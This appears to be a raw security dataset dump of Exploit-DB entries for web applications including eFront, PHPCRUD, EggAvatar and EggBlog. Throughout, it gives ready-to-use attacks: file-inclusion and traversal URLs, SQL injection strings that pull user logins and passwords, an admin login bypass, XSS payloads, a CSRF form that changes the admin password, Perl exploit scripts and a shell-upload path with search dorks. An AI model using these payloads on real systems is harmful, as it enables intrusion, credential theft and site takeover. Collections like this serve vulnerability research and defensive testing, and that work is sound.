deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33769
Description: eFront 3.5.5 - 'langname' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-17
Author: 7Safe

Exploit:
source: https://www.securityfocus.com/bid/38787/info

eFront is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

eFront 3.5.5 and prior are vulnerable. 

http://www.example.com/efront/www/editor/tiny_mce/langs/language.php?langname=a/../../../../../../boot.ini%00
http://www.example.com/efront/www/editor/tiny_mce/langs/language.php?langname=../../../../upload/student/message_attachments/Sent/[PII_REDACTED]/malicious.php.inc%00
Exploit-DB #36668
Description: eFront 3.6.10 - 'administrator.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-07
Author: Chokri B.A

Exploit:
source: https://www.securityfocus.com/bid/51894/info

eFront is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

eFront 3.6.10 is vulnerable; other versions may also be affected. 

http://www.example.com/communityplusplus/www/administrator.php?ctg=languages&ajax=languagesTable&
limit=200&offset=0&sort=active&order=asc&other=&filter=%22%3E%3Ciframe%20src%3Da%20onload%3Dalert%28%22VulnerabilityLab%22%29%20%3C
Exploit-DB #36512
Description: eFront 3.6.10 - 'download' Directory Traversal
Type: webapps
Platform: php
Date: 2012-01-06
Author: Chokri B.A

Exploit:
source: https://www.securityfocus.com/bid/51302/info

eFront is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Successfully exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

eFront 3.6.10 is vulnerable; other versions may also be affected.

http://www.example.com/student.php?ctg=personal&user=trainee&op=files&download=[file]
Exploit-DB #36259
Description: eFront 3.6.10 - 'professor.php' Script Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-10-28
Author: Vulnerability Research Laboratory

Exploit:
source: https://www.securityfocus.com/bid/50419/info

eFront is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

eFront 3.6.10 is vulnerable; other versions may also be affected. 

http://www.example.com/enterprise/www/professor.php?ctg=survey&action=preview&surveys_ID=1+and%201=0--

http://www.example.com/enterprise/www/professor.php?ctg=survey&action=preview&surveys_ID=1+and%201=1--
Exploit-DB #36278
Description: eFront 3.6.10 Build 11944 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-11-01
Author: Netsparker Advisories

Exploit:
source: https://www.securityfocus.com/bid/50469/info

eFront is prone to multiple cross-site scripting vulnerabilities because the software fails to sufficiently sanitize user-supplied input

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

eFront 3.6.10 build 11944 is vulnerable; other versions may also be affected. 

http://example.com/administrator.php?ctg=%22%20stYle=%22x:expre/**/ssion(alert(9))%20&user=admin&op=dashboard

http://example.com/administrator.php?ctg=personal&user='%20stYle=x:expre/**/ssion(alert(9))%20ns='%20&op=dashboard

http://example.com/administrator.php?ctg=calendar&view_calendar=%22%20stYle=x:expre/**/ssion(alert(9))%20ns=%22

http://example.com/index.php?ctg=lesson_info&lessons_ID=2&course='%20stYle='x:expre/**/ssion(alert(9))
Exploit-DB #30213
Description: eFront 3.6.14 (build 18012) - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-12-11
Author: sajith

Exploit:
###########################################################

Exploit-DB Note: Screenshot provided by exploit author.

###########################################################
[~] Exploit Title: eFront v3.6.14 (build 18012) -Stored XSS in multiple
Parameters
[~] Author: sajith
[~] version: eFront v3.6.14- build 18012
[~]Vendor Homepage: http://www.efrontlearning.net/
[~] vulnerable app link:http://www.efrontlearning.net/download
###########################################################



POC by sajith shetty:

[###]Log in with admin account and create new user

http://127.0.0.1/cms/efront_3.6.14_build18012_community/www/administrator.php?ctg=personal&user=root&op=profile&add_user=1

(Home � Users � Administrator S. (root) � New user)

Here "Last name" field is vulnerable to stored XSS [payload:"><img src=x
onerror=prompt(1);>  ]



[###]create new lesson option (
http://127.0.0.1/cms/efront_3.6.14_build18012_community/www/administrator.php
?

ctg=lessons&add_lesson=1) where "Lession name" is vulnerable to stored xss

[payload:"><img src=x onerror=prompt(1);>  ]



[###]create new courses option(
http://127.0.0.1/cms/efront_3.6.14_build18012_community/www/administrator.php
?

ctg=courses&add_course=1) where "Course name:" filed is vulnerable to
stored XSS
Exploit-DB #33697
Description: eFront 3.6.14.4 - 'surname' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-06-09
Author: shyamkumar somana

Exploit:
​# Exploit Title: Persistent Cross Site Scripting Vulnerability in eFront
3.6.14.4
# Date: 05 June 2014
# Exploit Author: shyamkumar somana
# Vendor Homepage: http://www.efrontlearning.net
# Software Link:
https://sourceforge.net/projects/efrontlearning/files/latest/download
# Version: 3.6.14.4
# Tested on: Windows 7

#################################################
eFront 3.6.14.4 is vulnerable for a Persistent Cross Site Scripting
Vulnerability.
The vulnerability affects 'surname' parameter(Last Name Field) while
updating the account details.

Vendor has supplied a workaround for the vulnerability which can be found
at

https://github.com/epignosis/efront_open_source/issues/5

#################################################
Greetz : oldmanlab, Jinen Patel
Exploit-DB #35757
Description: eFront 3.6.9 - 'scripts.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-05-16
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47870/info

eFront is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

eFront 3.6.9 build 10653 is vulnerable; other versions may also be affected. 

http://www.example.com/efront/www/js/scripts.php?load=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00
Exploit-DB #35759
Description: eFront 3.6.9 - 'submitScore.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-16
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/47877/info

eFront is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

eFront 3.6.9 build 10653 is vulnerable; other versions may also be affected. 

http://www.example.com/efront/www/modules/module_crossword/app/submitScore.php?seq=<script>alert(0)</script>&cookie=<script>alert(0)</script>
Exploit-DB #17938
Description: EFront 3.6.9 Community Edition - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-10-07
Author: IHTeam

Exploit:
# Exploit Title: EFront <= 3.6.9 Community Edition Multiple Vulnerabilities
# Google Dork: "eFront (version 3.6.9)" inurl:index.php?ctg=*
# Date: 5/09/2011
# Public release: When 3.6.10 will be released
# Author: IHTeam
# Software Link: http://www.efrontlearning.net/download/download-efront.html
# Tested on: efront_3.6.9_build11018
# Original Advisory: http://iht.li/FWh
# Advisory code: http://iht.li/p/0VV

Default username and [CREDENTIAL_REDACTED]:student
professor:professor

How to become admin:
Request 1: /change_account.php?login=admin
Request 2: /userpage.php
OR
simple use the [Switch account] option on top of the page;
Now you are in admin area;

SQL Injection:
www/student.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --
www/professor.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --
www/admin.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --
Exploit-DB #36282
Description: eFront 3.6.x - Multiple Cross-Site Scripting / SQL Injections
Type: webapps
Platform: php
Date: 2011-11-02
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/50492/info

eFront is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the software fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

eFront 3.6.10 build 11944 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/index.php?message=1&message_type=%22%20onmouseover=alert%28document.cookie%29%3E

http://www.example.com/professor.php?ctg=%22%20onmouseover=%22alert%28document.cookie%29

http://www.example.com/student.php?ctg=%22%20onmouseover=%22alert%28document.cookie%29

Successful following exploit requires attacker to be registered and logged-in:

http://www.example.com/view_test.php?done_test_id=1%20union%20select%201,2,%28select%20version%28%29%29,4,5,6,7,8,9,10, 11,12%20--%20

Successful following exploits require that "magic_quotes_gpc" is off:

http://www.example.com/view_test.php?test_id=1&user=%27SQL_CODE_HERE

http://www.example.com/view_test.php?content_id=2&user=%27SQL_CODE_HERE

http://www.example.com/modules/module_chat/admin.php?force=getLessonFromId&loglessonid=-1%27%20union%20select%20ver sion%28%29%20--%202

http://www.example.com/ask_information.php?common_lessons=1&user1=professor&user2=%27%20union%20select%201,vers ion%28%29%20--%20
Exploit-DB #33969
Description: eFront 3.x - 'ask_chat.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-09
Author: Stefan Esser

Exploit:
source: https://www.securityfocus.com/bid/40032/info

eFront is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

eFront 3.6.2 and prior versions are vulnerable. 

http://www.example.com/www/ask_chat.php?chatrooms_ID=0%20UNION%20select%20concat%28login,0x2e,password%29,1,1,1,1%20from%20users%20--%20x
Exploit-DB #49878
Description: EgavilanMedia PHPCRUD 1.0 - 'First Name' SQL Injection
Type: webapps
Platform: php
Date: 2021-05-18
Author: Dimitrios Mitakos

Exploit:
# Exploit Title: EgavilanMedia PHPCRUD 1.0 - 'First Name' SQL Injection
# Date: 5/17/2021
# Exploit Author: Dimitrios Mitakos
# Vendor Homepage: https://egavilanmedia.com
# Software Link: https://egavilanmedia.com/crud-operation-with-php-mysql-bootstrap-and-dompdf/
# Version: 1.0
# Tested on: Debian GNU/Linux 10

Vulnerable Parameter : firstname

1. Burp Suite -> Intercept is on

2. Go to the Website -> Add New Record

3. Back to Burp Suite -> Copy to file (r.txt)

POST /insert.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Origin: http:// <http://10.0.2.244/>x.x.x.x
Connection: close
Referer: http://x.x.x.x/index.php
Upgrade-Insecure-Requests: 1

firstname=x&lastname=y&address=z&skills=w&designation=a&insertData=

4. sqlmap -r r.txt --dump
Exploit-DB #49484
Description: EgavilanMedia PHPCRUD 1.0 - 'Full Name' Stored Cross Site Scripting
Type: webapps
Platform: php
Date: 2021-01-28
Author: Mahendra Purbia

Exploit:
# Exploit Title: EgavilanMedia PHPCRUD 1.0 - 'Full Name' Stored Cross Site Scripting
# Exploit Author: Mahendra Purbia
# Vendor Homepage: http://egavilanmedia.com
# Software Link: https://egavilanmedia.com/crud-operation-with-php-mysql-bootstrap-and-dompdf/
# Version: 1.0
# Tested on: Windows 10

Vulnerable Parameters: Full Name
Steps for reproduce:
 1. go to http://localhost/PHPCRUD/
 2. now click on "add new record" and fill the details (in first name name use :"><svg onload=alert(1)// )
 3. Now reload the page and you will see that our XSS payload executed . Its an Stored XSS.
Exploit-DB #49058
Description: EgavilanMedia User Registration & Login System with Admin Panel Exploit - SQLi Auth Bypass
Type: webapps
Platform: php
Date: 2020-11-17
Author: Kislay Kumar

Exploit:
# Exploit Title: EgavilanMedia User Registration & Login System with Admin Panel Exploit - SQLi Auth Bypass
# Date: 17-11-2020
# Exploit Author: Kislay Kumar
# Vendor Homepage: http://egavilanmedia.com
# Software Link : http://egavilanmedia.com/user-registration-and-login-system-with-admin-pane=l/
# Version: N/A (Default)
# Tested on: Kali Linux

SQL Injection:
SQL injection is a web security vulnerability that allows an attacker
to alter the SQL queries made to the database. This can be used to
retrieve some sensitive information, like database structure, tables,
columns, and their underlying data.

Attack Vector:
An attacker can gain admin panel access using malicious sql injection queri=
es.

Steps to reproduce:
1. Open admin login page using following URl:
-> http://localhost/admin/login.html

2. Now put below Payload in both the fields( User ID & Password)
Payload: admin' or '1'='1

3. Server accepted our payload and we bypassed admin panel without any
credentials,

IMPACT:
if any attacker can gain admin panel access than they can Update &
Delete Userdata

Suggested Mitigation/Remediation Actions
Parameterized queries should be used to separate the command and data
portions of the intended query to the database. These queries prevent
an attacker from tampering with the query logic and extending a
concatenated database query string. Code reviews should be conducted
to identify any additional areas were the application or other
applications in the organization are vulnerable to this attack.
Additionally, input validation should be enforced on the server side
in order to ensure that only expected data is sent in queries. Where
possible security specific libraries should be used in order to
provide an additional layer of protection.
Exploit-DB #16937
Description: EggAvatar 2.3.2 for vBulletin 3.8.x - Local File Read
Type: webapps
Platform: php
Date: 2011-03-07
Author: DSecurity

Exploit:
#!/usr/bin/env perl
use LWP::UserAgent;
sub banner{
print "###################################\n";
print "############ DSecurity ############\n";
print "###################################\n";
print "# Email:dsecurity.vn[at]gmail.com #\n";
print "###################################\n";
}
if(@ARGV<2){
	print "Usage: $0 address filename\n";
	print "Example: $0 http://localhost/vbb test test index.php\n";
	exit();
}
$ua=LWP::UserAgent->new();
$ua->agent("DSecurity");

&banner;
print "\n#############################################################################################################\n";
print "# EggAvatar for vBulletin 3.8.x local file read                                      		           #\n";
print "# Date:07-03-2011                                                                                           #\n";
print "# Author: DSecurity					                                                    #\n";
print "# Software Link: http://www.vbteam.info/vb-3-8-x-addons-and-template-modifications/19079-tk-egg-avatar.html #\n";
print "# Version: 2.3.2                                                                                            #\n";
print "# Tested on: vBulletin 3.8.0                                                                                #\n";
print "#############################################################################################################\n";


#Get info
my $response = $ua->get($ARGV[0].'/eggavatar.php?eggavatar.php?do=showeggs&u=1&old='.$ARGV[1]);
 
 if ($response->is_success) {
     print $response->decoded_content;  # or whatever
}
 else {
     die $response->status_line;
 }
Exploit-DB #27110
Description: EggBlog 2.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2006-01-18
Author: alex@evuln.com

Exploit:
source: https://www.securityfocus.com/bid/16305/info

Eggblog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

http://www.example.com/eggblog/home/blog.php?id=70'% 20union%20select% 201,2,3,4,5, 6,7/*
Exploit-DB #27111
Description: EggBlog 2.0 - 'message' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-01-18
Author: alex@evuln.com

Exploit:
source: https://www.securityfocus.com/bid/16305/info
 
Eggblog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
 
http://www.example.com/eggblog/forum/topic.php?id=N
message:<XSS>
Exploit-DB #7633
Description: EggBlog 3.1.10 - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: php
Date: 2009-01-01
Author: x0r

Exploit:
|                                                                        | 
| Project: EggBlog v 3.1.10                                              |
| Author: x0r                                                            |
| Email: andry2000[at]hotmail[dot]it                                     |
|________________________________________________________________________|
       
Code:

        <html>
        <title>x0r :P </title>
                        <form id="forum-form" name="forumform"
method="post" action="http://[site]/[path]/change.php">                    
    
                                                <input type="hidden"
size="30" id="forumpassword" name="password" />
                                                <input type="hidden"
name="submit" value="Submit" />
<script>document.forumform.submit()</script> 
       
                        </form>
        </HTML>

 With this csrf you can change the admin pass ^ ^

# milw0rm.com [2009-01-01]
Exploit-DB #8652
Description: EggBlog 4.1.1 - Local Directory Traversal
Type: webapps
Platform: php
Date: 2009-05-11
Author: StAkeR

Exploit:
#!/usr/bin/perl 
#
# eggBlog <= 4.1.1 Local Directory Transversal Exploit
# 
# by Juri Gianni aka yeat - staker[at]hotmail[dot]it
# Visit http://zeroidentity.org
#
# Description
# ----------------------------------------------------
# eggBlog contains one flaw that allows an attacker to
# carry out a local directory transversal attack. 
# The issue is due to 'select_image.php' script not 
# properly sanitizing user input supplied to the 'dir'
# GET variable.
# -----------------------------------------------------
# Note: you may upload image files with double ext on
# _lib/openwysiwyg/addons/imagelibrary/insert_image.php
# -----------------------------------------------------

use LWP::UserAgent;


my $domain = $ARGV[0];
my $folder = $ARGV[1] || &usage;

exploit($folder);


sub usage()
{
      print "eggBlog <= 4.1.1 Local Directory Transversal Exploit\n";
      print "Usage: perl xpl.pl localhost/eggBlog ../../\n";
      print "Visit http://zeroidentity.org\n";
      exit;
}      


sub exploit()
{
      my $param = shift @_ || die "1 parameter required\n"; 
       
      my $response = undef;
      my @director = undef;
      
      my $lib = new LWP::UserAgent;
      
      $lib->agent('Lynx (textmode)');
      $lib->timeout(5);
      
      $response = $lib->get("http://$domain/_lib/openwysiwyg/addons/imagelibrary/select_image.php?dir=$param");
      
      @director = $response->content =~ /<strong>(.+?)<\/strong>/ig;
      
      for (my $i=0;$i<=scalar(@director);$i++) {
         print $director[$i]."\n";
      }   
}      

# milw0rm.com [2009-05-11]
Exploit-DB #25126
Description: EggBlog 4.1.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-05-01
Author: Pokk3rs

Exploit:
# Exploit Title: eggBlog Arbitrary File Upload Vulnerability
# Google Dork:"powered by eggBlog.net"
# Date: 28/04/2013
# Exploit Author: Pokk3rs
# Vendor Homepage: http://eggblog.net/
# Software Link: http://sourceforge.net/projects/eggblog/files/eggBlog%204/v4.1.2/
# Tested on: Win8 Pro x64



Expl0itation


1 - Google Dork:"powered by eggBlog.net"


2 - http://server/[path]/_lib/openwysiwyg/addons/imagelibrary/insert_image.php?wysiwyg=


3 - http://server/[path]/photos/uploads/shell.php.jpg



#